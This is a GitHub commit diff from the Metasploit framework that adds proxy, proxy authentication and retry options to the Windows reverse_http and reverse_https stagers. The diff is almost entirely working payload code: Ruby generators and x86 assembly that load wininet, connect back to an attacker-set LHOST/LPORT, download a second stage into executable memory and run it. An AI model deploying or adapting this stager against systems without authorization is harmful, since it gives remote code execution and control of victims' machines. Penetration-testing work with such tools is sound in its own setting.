Skip to content

Commit d152c41

Browse files
committed
Land rapid7#4934 : Proxy and auth support in reverse_http(s)
2 parents b46e5f8 + b62da42 commit d152c41

File tree

5 files changed

+151
-52
lines changed

5 files changed

+151
-52
lines changed

lib/msf/core/handler/reverse_http.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -236,8 +236,9 @@ def on_request(cli, req, obj)
236236
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
237237
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
238238

239-
if @proxy_settings[:host]
240-
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(@proxy_settings[:info])}'")
239+
unless datastore['PayloadProxyHost'].blank?
240+
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
241+
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
241242
end
242243

243244
resp.body = blob

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 136 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,13 @@ def initialize(*args)
2727
super
2828
register_advanced_options(
2929
[
30-
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
30+
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
31+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
32+
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
33+
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
34+
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
35+
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
36+
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
3137
], self.class)
3238
end
3339

@@ -41,15 +47,22 @@ def generate
4147
ssl: false,
4248
host: datastore['LHOST'],
4349
port: datastore['LPORT'],
44-
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
50+
url: generate_small_uri,
51+
retry_count: datastore['StagerRetryCount'])
4552
end
4653

4754
conf = {
4855
ssl: false,
4956
host: datastore['LHOST'],
5057
port: datastore['LPORT'],
5158
url: generate_uri,
52-
exitfunk: datastore['EXITFUNC']
59+
exitfunk: datastore['EXITFUNC'],
60+
proxy_host: datastore['PayloadProxyHost'],
61+
proxy_port: datastore['PayloadProxyPort'],
62+
proxy_user: datastore['PayloadProxyUser'],
63+
proxy_pass: datastore['PayloadProxyPass'],
64+
proxy_type: datastore['PayloadProxyType'],
65+
retry_count: datastore['StagerRetryCount']
5366
}
5467

5568
generate_reverse_http(conf)
@@ -75,15 +88,15 @@ def generate_reverse_http(opts={})
7588
#
7689
def generate_uri
7790

78-
uri_req_len = datastore['HTTPStagerURILength'].to_i
91+
uri_req_len = datastore['StagerURILength'].to_i
7992

8093
# Choose a random URI length between 30 and 255 bytes
8194
if uri_req_len == 0
8295
uri_req_len = 30 + rand(256-30)
8396
end
8497

8598
if uri_req_len < 5
86-
raise ArgumentError, "Minimum HTTPStagerURILength is 5"
99+
raise ArgumentError, "Minimum StagerURILength is 5"
87100
end
88101

89102
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
@@ -112,23 +125,49 @@ def required_space
112125
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
113126
space += 31
114127

128+
# Proxy options?
129+
space += 200
130+
115131
# The final estimated size
116132
space
117133
end
118134

119135
#
120-
# Dynamic payload generation
136+
# Generate an assembly stub with the configured feature set and options.
137+
#
138+
# @option opts [Bool] :ssl Whether or not to enable SSL
139+
# @option opts [String] :url The URI to request during staging
140+
# @option opts [String] :host The host to connect to
141+
# @option opts [Fixnum] :port The port to connect to
142+
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
143+
# @option opts [String] :proxy_host The optional proxy server host to use
144+
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
145+
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
146+
# @option opts [String] :proxy_user The optional proxy server username
147+
# @option opts [String] :proxy_pass The optional proxy server password
148+
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
121149
#
122150
def asm_reverse_http(opts={})
123151

124-
#
125-
# options should contain:
126-
# ssl: (true|false)
127-
# url: "/url_to_request"
128-
# host: [hostname]
129-
# port: [port]
130-
# exitfunk: [process|thread|seh|sleep]
131-
#
152+
retry_count = [opts[:retry_count].to_i, 1].max
153+
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
154+
proxy_info = ""
155+
156+
if proxy_enabled
157+
if opts[:proxy_type].to_s.downcase == "socks"
158+
proxy_info << "socks="
159+
else
160+
proxy_info << "http://"
161+
end
162+
163+
proxy_info << opts[:proxy_host].to_s
164+
if opts[:proxy_port].to_i > 0
165+
proxy_info << ":#{opts[:proxy_port]}"
166+
end
167+
end
168+
169+
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
170+
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
132171

133172
http_open_flags = 0
134173

@@ -153,68 +192,120 @@ def asm_reverse_http(opts={})
153192

154193
asm = %Q^
155194
;-----------------------------------------------------------------------------;
156-
; Author: HD Moore
157-
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
195+
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
158196
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
159-
; Version: 1.0
160197
;-----------------------------------------------------------------------------;
161198
162199
; Input: EBP must be the address of 'api_call'.
163-
; Output: EDI will be the socket for the connection to the server
164200
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
165201
load_wininet:
166202
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
167203
push 0x696e6977 ; ...
168204
push esp ; Push a pointer to the "wininet" string on the stack.
169205
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
170206
call ebp ; LoadLibraryA( "wininet" )
207+
xor ebx, ebx ; Set ebx to NULL to use in future arguments
208+
^
171209

172-
set_retry:
173-
push.i8 8 ; retry 8 times should be enough
174-
pop edi
175-
xor ebx, ebx ; push 8 zeros ([1]-[8])
176-
mov ecx, edi
177-
push_zeros:
178-
push ebx
179-
loop push_zeros
180-
181-
internetopen:
182-
; DWORD dwFlags [1]
183-
; LPCTSTR lpszProxyBypass (NULL) [2]
184-
; LPCTSTR lpszProxyName (NULL) [3]
185-
; DWORD dwAccessType (PRECONFIG = 0) [4]
186-
; LPCTSTR lpszAgent (NULL) [5]
187-
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
188-
call ebp
210+
if proxy_enabled
211+
asm << %Q^
212+
internetopen:
213+
push ebx ; DWORD dwFlags
214+
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
215+
call get_proxy_server
216+
db "#{proxy_info}", 0x00
217+
get_proxy_server:
218+
; LPCTSTR lpszProxyName (via call)
219+
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
220+
push ebx ; LPCTSTR lpszAgent (NULL)
221+
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
222+
call ebp
223+
^
224+
else
225+
asm << %Q^
226+
internetopen:
227+
push ebx ; DWORD dwFlags
228+
push ebx ; LPCTSTR lpszProxyBypass (NULL)
229+
push ebx ; LPCTSTR lpszProxyName (NULL)
230+
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
231+
push ebx ; LPCTSTR lpszAgent (NULL)
232+
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
233+
call ebp
234+
^
235+
end
189236

237+
asm << %Q^
190238
internetconnect:
191-
; DWORD_PTR dwContext (NULL) [6]
192-
; dwFlags [7]
193-
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
239+
push ebx ; DWORD_PTR dwContext (NULL)
240+
push ebx ; dwFlags
241+
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
194242
push ebx ; password (NULL)
195243
push ebx ; username (NULL)
196244
push #{opts[:port]} ; PORT
197245
call got_server_uri ; double call to get pointer for both server_uri and
198-
server_uri: ; server_host; server_uri is saved in EDI for later
246+
server_uri: ; server_host; server_uri is saved in EDI for later
199247
db "#{opts[:url]}", 0x00
200248
got_server_host:
201-
push eax ; HINTERNET hInternet
249+
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
202250
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
203251
call ebp
252+
mov esi, eax ; Store hConnection in esi
253+
^
254+
255+
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
256+
# doesn't set the Proxy-Authorization header on the CONNECT request.
257+
258+
if proxy_enabled && proxy_user
259+
asm << %Q^
260+
; DWORD dwBufferLength (length of username)
261+
push #{proxy_user.length}
262+
call set_proxy_username
263+
proxy_username:
264+
db "#{proxy_user}",0x00
265+
set_proxy_username:
266+
; LPVOID lpBuffer (username from previous call)
267+
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
268+
push esi ; hConnection
269+
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
270+
call ebp
271+
^
272+
end
204273

274+
if proxy_enabled && proxy_pass
275+
asm << %Q^
276+
; DWORD dwBufferLength (length of password)
277+
push #{proxy_pass.length}
278+
call set_proxy_password
279+
proxy_password:
280+
db "#{proxy_pass}",0x00
281+
set_proxy_password:
282+
; LPVOID lpBuffer (password from previous call)
283+
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
284+
push esi ; hConnection
285+
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
286+
call ebp
287+
^
288+
end
289+
290+
asm << %Q^
205291
httpopenrequest:
206-
; dwContext (NULL) [8]
292+
push ebx ; dwContext (NULL)
207293
push #{"0x%.8x" % http_open_flags} ; dwFlags
208294
push ebx ; accept types
209295
push ebx ; referrer
210296
push ebx ; version
211297
push edi ; server URI
212298
push ebx ; method
213-
push eax ; hConnection
299+
push esi ; hConnection
214300
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
215301
call ebp
216302
xchg esi, eax ; save hHttpRequest in esi
217303
304+
; Store our retry counter in the edi register
305+
set_retry:
306+
push #{retry_count}
307+
pop edi
308+
218309
send_request:
219310
^
220311

@@ -229,9 +320,9 @@ def asm_reverse_http(opts={})
229320
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
230321
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
231322
mov eax, esp
232-
push.i8 4 ; sizeof(dwFlags)
323+
push 4 ; sizeof(dwFlags)
233324
push eax ; &dwFlags
234-
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
325+
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
235326
push esi ; hHttpRequest
236327
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
237328
call ebp
@@ -272,7 +363,7 @@ def asm_reverse_http(opts={})
272363

273364
asm << %Q^
274365
allocate_memory:
275-
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
366+
push 0x40 ; PAGE_EXECUTE_READWRITE
276367
push 0x1000 ; MEM_COMMIT
277368
push 0x00400000 ; Stage allocation (4Mb ought to do us)
278369
push ebx ; NULL as we dont care where the allocation is

lib/msf/core/payload/windows/reverse_https.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -40,18 +40,25 @@ def generate
4040
# Generate the simple version of this stager if we don't have enough space
4141
if self.available_space.nil? || required_space > self.available_space
4242
return generate_reverse_https(
43+
ssl: true,
4344
host: datastore['LHOST'],
4445
port: datastore['LPORT'],
45-
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
46-
ssl: true)
46+
url: generate_small_uri,
47+
retry_count: datastore['StagerRetryCount'])
4748
end
4849

4950
conf = {
5051
ssl: true,
5152
host: datastore['LHOST'],
5253
port: datastore['LPORT'],
5354
url: generate_uri,
54-
exitfunk: datastore['EXITFUNC']
55+
exitfunk: datastore['EXITFUNC'],
56+
proxy_host: datastore['PayloadProxyHost'],
57+
proxy_port: datastore['PayloadProxyPort'],
58+
proxy_user: datastore['PayloadProxyUser'],
59+
proxy_pass: datastore['PayloadProxyPass'],
60+
proxy_type: datastore['PayloadProxyType'],
61+
retry_count: datastore['StagerRetryCount']
5562
}
5663

5764
generate_reverse_https(conf)

modules/payloads/stagers/windows/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module Metasploit3
1212

13-
CachedSize = 306
13+
CachedSize = 311
1414

1515
include Msf::Payload::Stager
1616
include Msf::Payload::Windows

modules/payloads/stagers/windows/reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module Metasploit3
1313

14-
CachedSize = 326
14+
CachedSize = 331
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Windows

0 commit comments

Comments
 (0)